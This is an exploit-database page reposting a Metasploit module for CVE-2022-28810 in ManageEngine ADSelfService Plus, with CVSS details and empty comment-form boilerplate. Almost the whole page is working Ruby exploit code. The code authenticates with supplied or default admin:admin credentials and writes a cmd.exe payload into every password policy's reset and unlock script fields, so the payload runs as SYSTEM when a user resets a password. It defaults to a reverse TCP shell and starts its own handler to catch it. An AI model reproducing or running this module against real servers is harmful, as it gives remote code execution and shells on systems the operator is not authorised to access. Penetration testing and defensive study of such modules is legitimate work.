ManageEngine ADSelfService Plus Custom Script Execution

Credit: Jake Baines
Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.1/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Remote
Attack complexity: High
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution', 'Description' => %q{ This module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution. This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior. This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done. ADSelfService Plus uses default credentials of "admin":"admin" }, 'Author' => [ # Discovered and exploited by unknown threat actors 'Jake Baines', # Analysis, CVE credit, and Metasploit module 'Hernan Diaz', # Analysis and CVE credit 'Andrew Iwamaye', # Analysis and CVE credit 'Dan Kelley' # Analysis and CVE credit ], 'References' => [ ['CVE', '2022-28810'], ['URL', ''], ['URL', ''] ], 'DisclosureDate' => '2022-04-09', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Privileged' => true, # false if ADSelfService Plus is not run as a service 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8888, 'DisablePayloadHandler' => true, 'JJS_PATH' => '..\\jre\\bin\\jjs.exe' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options(['TARGETURI', [true, 'Path traversal for auth bypass', '/']),'USERNAME', [true, 'The administrator username', 'admin']),'PASSWORD', [true, 'The administrator user\'s password', 'admin']),'TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false]) ]) end ## # Because this is an authenticated vulnerability, we will rely on a version string # for the check function. We can extract the version (or build) from selfservice/index.html. ## def check res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html')) unless res return CheckCode::Unknown('The target failed to respond to check.') end unless res.code == 200 return CheckCode::Safe('Failed to retrieve /selfservice/index.html') end ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id] if ver.nil? return CheckCode::Safe('Could not extract a version number') end if <'6122') return CheckCode::Appears("This determination is based on the version string: #{ver}.") end CheckCode::Safe("This determination is based on the version string: #{ver}.") end ## # Authenticate with the remote target. Login requires four steps: # # 1. Grab a CSRF token # 2. Post credentials to /ServletAPI/accounts/login # 3. Post credentials to /j_security_check # 4. Grab another CSRF token for authenticated requests # # @return a new CSRF token to use with authenticated requests ## def authenticate # grab a CSRF token from the index res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/') }) fail_with(Failure::Unreachable, 'The target did not respond') unless res fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty? csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token] fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok # send the first login request to get the ssp token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'), 'keep_cookies' => true, 'vars_post' => { 'loginName' => datastore['USERNAME'], 'domainName' => 'ADSelfService Plus Authentication', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'AUTHRULE_NAME' => 'ADAuthenticator', 'adscsrf' => csrf_tok } }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200 # send the second login request to get the sso token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'keep_cookies' => true, 'vars_post' => { 'loginName' => datastore['USERNAME'], 'domainName' => 'ADSelfService Plus Authentication', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'AUTHRULE_NAME' => 'ADAuthenticator', 'adscsrf' => csrf_tok } }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302 # revisit to complete authentication res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'), 'keep_cookies' => true }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty? csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token] fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok print_good('Authentication successful') csrf_tok end ## # Triggering the payload requires user interaction. Using the default payload # handler will cause this module to exit after planting the payload, so the # module will spawn it's own handler so that it doesn't exit until a shell # has been received/handled. Note that this module is passive so it should # just be chilling quietly in the background. # # This code is largely copy/paste from windows/local/persistence.rb ## def create_multihandler(lhost, lport, payload_name) pay = framework.payloads.create(payload_name) pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport print_status('Starting exploit/multi/handler') # Set options for module mh = framework.exploits.create('multi/handler') mh.share_datastore(pay.datastore) mh.datastore['PAYLOAD'] = payload_name mh.datastore['EXITFUNC'] = 'thread' mh.datastore['ExitOnSession'] = true # Validate module options mh.options.validate(mh.datastore) # Execute showing output mh.exploit_simple( 'Payload' => mh.datastore['PAYLOAD'], 'LocalInput' => user_input, 'LocalOutput' => user_output, 'RunAsJob' => true ) # Check to make sure that the handler is actually valid # If another process has the port open, then the handler will fail # but it takes a few seconds to do so. The module needs to give # the handler time to fail or the resulting connections from the # target could end up on on a different handler with the wrong payload # or dropped entirely. Rex.sleep(5) return nil if[mh.job_id.to_s].nil? return mh.job_id.to_s end # The json policy blob that ADSSP provides us is not accepted by ADSSP # if we try to POST it back. Specifically, ADSP is very unhappy about all # the booleans using "true" or "false" instead of "1" or "0" *except* for # HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but # here we are. def fix_adssp_json(json_hash) do |key, value| if value.is_a? Hash [key, fix_adssp_json(value)] elsif value.is_a? Array value = do |array_val| if array_val.is_a? Hash array_val = fix_adssp_json(array_val) end array_val end [key, value] elsif key == 'HIDE_CAPTCHA_RPUA' [key, value] elsif value.is_a? TrueClass [key, 1] elsif value.is_a? FalseClass [key, 0] else [key, value] end end.to_h end def exploit csrf_tok = authenticate # Grab the list of configured policies policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails') print_status("Requesting policy list from #{policy_list_uri}") res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri }) fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200 policy_json = res.get_json_document fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil? policy_details_json = policy_json['POLICY_DETAILS'] fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil? # There can be multiple policies. This logic will loop over each one, grab the configuration # details, update the configuration to include our payload, and then POST it back. policy_details_json.each do |policy_entry| policy_id = policy_entry['POLICY_ID'] policy_name = policy_entry['POLICY_NAME'] fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil? print_status("Requesting policy details for #{policy_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'), 'vars_get' => { 'POLICY_ID' => policy_id } }) fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200 # load the JSON and insert (or remove) our payload specific_policy_json = res.get_json_document fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil? fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil? new_payload = "cmd.exe /c #{payload.encoded}" if datastore['TARGET_RESET'] print_status('Disabling custom script functionality') specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0' specific_policy_json['SCRIPT_COMMAND_RESET'] = '' specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0' specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = '' else print_status('Enabling custom scripts and inserting the payload') specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1' specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1' specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload end # fix up the ADSSP provided json so ADSSP will accept it o.O updated_policy = fix_adssp_json(specific_policy_json).to_json policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails') print_status("Posting updated policy configuration to #{policy_update_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri' => policy_update_uri, 'vars_post' => { 'APC_SETTINGS_DETAILS' => updated_policy, 'POLICY_NAME' => policy_name, 'adscsrf' => csrf_tok } }) fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200 # spawn our own payload handler? if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler'] listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD']) if listener_job_id.blank? print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") end else print_good('Done!') end end end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top